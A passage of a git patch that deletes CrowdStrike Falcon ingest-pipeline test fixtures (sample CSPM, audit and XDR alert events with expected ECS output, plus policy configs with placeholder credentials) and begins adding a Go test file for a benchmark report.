{\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}", - "outcome": "failure", - "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2", - "severity": 73, - "type": [ - "info", - "change" - ] - }, - "message": "EC2 NACL configured for global ingress", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "tags": [ - "preserve_original_event", - "SensorGroupingTags/TEACHER", - "SensorGroupingTags/XYZ", - "321", - "1111" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log deleted file mode 100644 index 45a23413b4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log +++ /dev/null @@ -1,31 +0,0 @@ -{ - "metadata": { - - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "offset": 54712611, - "eventType": "CSPMSearchStreamingEvent", - "eventCreationTime": 1663009688832, - "version": "1.0" - }, - "event": { - "AccountId": "XXXXXXXXXXXX", - "Region": "us-west-2", - "ResourceId": "i-0108fce80eXXXXXXX", - "ResourceIdType": "Instance Id", - "ResourceName": "", - "ResourceCreateTime": 0, - "PolicyStatement": "EC2 NACL configured for global ingress", - "PolicyId": 26, - "Severity": 1, - "SeverityName": "High", - "CloudPlatform": "AWS", - "CloudService": "EC2", - "Disposition": "Failed", - "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", - "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", - "ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}", - "Tags": "SensorGroupingTags/TEACHER", - "ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2", - "Timestamp": 1663009688832 - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json deleted file mode 100644 index 1a88b27b32..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json +++ /dev/null @@ -1,70 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2022-09-12T19:08:08.832Z", - "cloud": { - "account": { - "id": "XXXXXXXXXXXX" - }, - "provider": "AWS", - "region": "us-west-2", - "service": { - "name": "EC2" - } - }, - "crowdstrike": { - "event": { - "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", - "PolicyId": 26, - "ResourceAttributes": { - "ACL ID": "acl - 005e6 bb98e75ac17e", - "Instance ID": "i - 0108 fce80eXXXXXXX", - "Instance State": "running", - "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00", - "Platform": "Linux", - "VPC ID": "vpc - 0e886040 c27d9f526" - }, - "ResourceId": "i-0108fce80eXXXXXXX", - "ResourceIdType": "Instance Id", - "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", - "Severity": 1, - "SeverityName": "High", - "Timestamp": 1663009688832 - }, - "metadata": { - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "eventType": "CSPMSearchStreamingEvent", - "offset": 54712611, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "configuration" - ], - "created": "2022-09-12T19:08:08.832Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}", - "outcome": "failure", - "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2", - "severity": 73, - "type": [ - "info", - "change" - ] - }, - "message": "EC2 NACL configured for global ingress", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "tags": [ - "preserve_original_event", - "SensorGroupingTags/TEACHER" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log deleted file mode 100644 index 1605c91253..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log +++ /dev/null @@ -1,25 +0,0 @@ -{ - "metadata": { - "customerIDString": "123123abcd", - "offset": 3, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1686845212400, - "version": "1.0" - }, - "event": { - "UserId": "TESTUSERID", - "UserIp": "175.16.199.1", - "OperationName": "detection_update", - "ServiceName": "detections", - "AuditKeyValues": [ - { - "Key": "detection_id", - "ValueString": "TESTVALUE:ind:STRING123:456-123-654" - } - ], - "UTCTimestamp": 1686839378, - "Attributes": { - "detection_id": "DETECTID:ind:TESTID:456-123-654" - } - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json deleted file mode 100644 index 27ccad4083..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json +++ /dev/null @@ -1,76 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-15T14:29:38.000Z", - "crowdstrike": { - "event": { - "Attributes": { - "detection_id": "DETECTID:ind:TESTID:456-123-654" - }, - "AuditKeyValues": [ - { - "Key": "detection_id", - "ValueString": "TESTVALUE:ind:STRING123:456-123-654" - } - ], - "ServiceName": "detections" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "UserActivityAuditEvent", - "offset": 3, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "user_activity_audit_event", - "category": [ - "iam" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 3,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"TESTUSERID\",\n \"UserIp\": \"175.16.199.1\",\n \"OperationName\": \"detection_update\",\n \"ServiceName\": \"detections\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"detection_id\",\n \"ValueString\": \"TESTVALUE:ind:STRING123:456-123-654\"\n }\n ],\n \"UTCTimestamp\": 1686839378,\n \"Attributes\": {\n \"detection_id\": \"DETECTID:ind:TESTID:456-123-654\"\n }\n }\n}", - "type": [ - "change" - ] - }, - "message": "detection_update", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "175.16.199.1" - ], - "user": [ - "TESTUSERID" - ] - }, - "source": { - "geo": { - "city_name": "Changchun", - "continent_name": "Asia", - "country_iso_code": "CN", - "country_name": "China", - "location": { - "lat": 43.88, - "lon": 125.3228 - }, - "region_iso_code": "CN-22", - "region_name": "Jilin Sheng" - }, - "ip": "175.16.199.1" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "TESTUSERID" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log deleted file mode 100644 index c770c7dc9d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log +++ /dev/null @@ -1,74 +0,0 @@ -{ - "metadata": { - "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", - "eventCreationTime": 1651174243000, - "eventType": "XdrDetectionSummaryEvent", - "offset": 34280810, - "version": "1.0" - }, - "event": { - "Author": "CrowdStrike", - "DataDomains": "Identity,Network,Endpoint", - "Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", - "DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", - "EndTimeEpoch": 1643317927664000000, - "IPv4Addresses": "81.2.69.144,81.2.69.192", - "HostNames": "XDR-WIN10", - "Name": "Metasploit and brute force login attempt", - "PatternId": 100011, - "Severity": 90, - "SourceProducts": "Falcon,Corelight", - "SourceVendors": "CrowdStrike,Corelight", - "StartTimeEpoch": 1643317697728000000, - "TacticIds": "TA0001,TA0002", - "Tactics": "Initial Access,Execution", - "TechniqueIds": "T1566.001,T1203", - "Techniques": "Spearphishing Attachment,Exploitation for Client Execution", - "XdrType": "xdr" - } -} -{ - "metadata": { - "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", - "eventCreationTime": 1651174243000, - "eventType": "XdrDetectionSummaryEvent", - "offset": 34280810, - "version": "1.0" - }, - "event": { - "Author": "CrowdStrike", - "DataDomains": "Identity,Network,Endpoint", - "Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", - "DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", - "EndTimeEpoch": 1643317927664000000, - "IPv4Addresses": "81.2.69.144,81.2.69.192", - "HostNames": "XDR-WIN10", - "Name": "Metasploit and brute force login attempt", - "PatternId": 100011, - "Severity": 90, - "SourceProducts": "Falcon,Corelight", - "SourceVendors": "CrowdStrike,Corelight", - "StartTimeEpoch": 1643317697728000000, - "TacticIds": "TA0001,TA0002", - "Tactics": "Initial Access,Execution", - "TechniqueIds": "T1566.001,T1203", - "Techniques": "Spearphishing Attachment,Exploitation for Client Execution", - "XdrType": "xdr", - "MitreAttack": [ - { - "Tactic": "Initial Access", - "TacticID": "TA0001", - "Technique": "Spearphishing Attachment", - "TechniqueID": "T1566.001", - "PatternID": 100011 - }, - { - "Tactic": "Execution", - "TacticID": "TA0002", - "Technique": "Exploitation for Client Execution", - "TechniqueID": "T1203", - "PatternID": 100011 - } - ] - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json deleted file mode 100644 index 727e03676d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json +++ /dev/null @@ -1,190 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2022-01-27T21:08:17.728Z", - "crowdstrike": { - "event": { - "DataDomains": [ - "Identity", - "Network", - "Endpoint" - ], - "PatternId": "100011", - "Severity": 90, - "SourceProducts": "Falcon,Corelight", - "SourceVendors": "CrowdStrike,Corelight", - "XdrType": "xdr" - }, - "metadata": { - "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", - "eventType": "XdrDetectionSummaryEvent", - "offset": 34280810, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "xdr-detection", - "category": [ - "malware" - ], - "created": "2022-04-28T19:30:43.000Z", - "end": "2022-01-27T21:12:07.664Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\"\n\t}\n}", - "start": "2022-01-27T21:08:17.728Z", - "type": [ - "info" - ] - }, - "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "XDR-WIN10" - ] - }, - "rule": { - "author": [ - "CrowdStrike" - ], - "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", - "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", - "name": "Metasploit and brute force login attempt", - "uuid": "100011" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0001", - "TA0002" - ], - "name": [ - "Initial Access", - "Execution" - ] - }, - "technique": { - "id": [ - "T1566.001", - "T1203" - ], - "name": [ - "Spearphishing Attachment", - "Exploitation for Client Execution" - ] - } - } - }, - { - "@timestamp": "2022-01-27T21:08:17.728Z", - "crowdstrike": { - "event": { - "DataDomains": [ - "Identity", - "Network", - "Endpoint" - ], - "MitreAttack": [ - { - "PatternID": "100011", - "Tactic": "Initial Access", - "TacticID": "TA0001", - "Technique": "Spearphishing Attachment", - "TechniqueID": "T1566.001" - }, - { - "PatternID": "100011", - "Tactic": "Execution", - "TacticID": "TA0002", - "Technique": "Exploitation for Client Execution", - "TechniqueID": "T1203" - } - ], - "PatternId": "100011", - "Severity": 90, - "SourceProducts": "Falcon,Corelight", - "SourceVendors": "CrowdStrike,Corelight", - "XdrType": "xdr" - }, - "metadata": { - "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", - "eventType": "XdrDetectionSummaryEvent", - "offset": 34280810, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "xdr-detection", - "category": [ - "malware" - ], - "created": "2022-04-28T19:30:43.000Z", - "end": "2022-01-27T21:12:07.664Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"TacticID\": \"TA0001\",\n\t\t\t\t\"Technique\": \"Spearphishing Attachment\",\n\t\t\t\t\"TechniqueID\": \"T1566.001\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Execution\",\n\t\t\t\t\"TacticID\": \"TA0002\",\n\t\t\t\t\"Technique\": \"Exploitation for Client Execution\",\n\t\t\t\t\"TechniqueID\": \"T1203\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t}\n\t\t]\n\t}\n}", - "start": "2022-01-27T21:08:17.728Z", - "type": [ - "info" - ] - }, - "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "XDR-WIN10" - ] - }, - "rule": { - "author": [ - "CrowdStrike" - ], - "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", - "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", - "name": "Metasploit and brute force login attempt", - "uuid": "100011" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0001", - "TA0002" - ], - "name": [ - "Initial Access", - "Execution" - ] - }, - "technique": { - "id": [ - "T1566.001", - "T1203" - ], - "name": [ - "Spearphishing Attachment", - "Exploitation for Client Execution" - ] - } - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected deleted file mode 100644 index 71a83cd255..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected +++ /dev/null @@ -1,42 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-default-crowdstrike - streams: - - allow_deprecated_use: true - data_stream: - dataset: crowdstrike.falcon - exclude_files: - - \.gz$ - multiline.match: after - multiline.max_lines: 5000 - multiline.negate: true - multiline.pattern: ^{ - multiline.timeout: 10 - paths: - - /var/log/crowdstrike/falconhoseclient/output* - publisher_pipeline.disable_host: true - tags: - - preserve_original_event - - forwarded - - crowdstrike-falcon - type: logfile - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.falcon-ep - privileges: - - auto_configure - - create_doc -secret_references: [] diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml deleted file mode 100644 index 58bbc1f403..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml +++ /dev/null @@ -1,9 +0,0 @@ -vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token -data_stream: - vars: - preserve_original_event: true - preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected deleted file mode 100644 index 76892c8579..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected +++ /dev/null @@ -1,61 +0,0 @@ -inputs: - - data_stream: - namespace: ep - meta: - package: - name: crowdstrike - name: test-streaming-crowdstrike - streams: - - auth: - client_id: test_client_id - client_secret: ${SECRET_0} - token_url: http://host.tld/oauth2/token - crowdstrike_app_id: test_app_id - data_stream: - dataset: crowdstrike.falcon - processors: null - program: | - state.response.decode_json().as(body, { - // Handle both old agent behaviour and new multi-resource cursors. - ?"cursor": !has(state.feed) ? - // Old behaviour: no feed key. - body.?metadata.optMap(m, {"offset": m.offset}) - : has(body.metadata) ? - // New behaviour with a cursor from the event. - optional.of(state.?cursor.orValue({}).with({ - ?state.feed: body.?metadata.optMap(m, {"offset": m.offset}), - })) - : - // New behaviour with no cursor; pass through. - state.?cursor, - "events": [{ - "message": body.encode_json(), - }], - }) - publisher_pipeline.disable_host: true - redact: - fields: null - stream_type: crowdstrike - tags: - - preserve_original_event - - forwarded - - crowdstrike-falcon - url: http://host.tld/sensors/entities/datafeed/v2 - type: streaming - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.falcon-ep - privileges: - - auto_configure - - create_doc -secret_references: - - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml deleted file mode 100644 index 2afd89811e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml +++ /dev/null @@ -1,10 +0,0 @@ -input: streaming -vars: -data_stream: - vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token - app_id: test_app_id - preserve_original_event: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml deleted file mode 100644 index d26edaaf9e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml +++ /dev/null @@ -1,7 +0,0 @@ -service: crowdstrike-logfile -input: logfile -data_stream: - vars: - preserve_original_event: true - paths: - - "{{SERVICE_LOGS_DIR}}/falcon-*.log" diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml deleted file mode 100644 index 0cc9daccf8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml +++ /dev/null @@ -1,12 +0,0 @@ -input: streaming -service: crowdstrike-streaming -data_stream: - vars: - url: http://{{Hostname}}:{{Port}} - client_id: slightlysecretclientid - client_secret: totallysecretlientsecret - token_url: http://{{Hostname}}:{{Port}}/oauth2/token - app_id: nonsecretappid - preserve_original_event: true -assert: - hit_count: 3 From 6f4f602fb7330eb737d73d8dd681d518d3159f8e Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 26 Mar 2026 00:48:28 +0530 Subject: [PATCH 17/19] Add tests as per comment --- .../benchrunner/runners/system/report_test.go | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 internal/benchrunner/runners/system/report_test.go diff --git a/internal/benchrunner/runners/system/report_test.go b/internal/benchrunner/runners/system/report_test.go new file mode 100644 index 0000000000..bcf89558c4 --- /dev/null +++ b/internal/benchrunner/runners/system/report_test.go @@ -0,0 +1,78 @@ +// Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +// or more contributor license agreements. Licensed under the Elastic License; +// you may not use this file except in compliance with the Elastic License. + +package system + +import ( 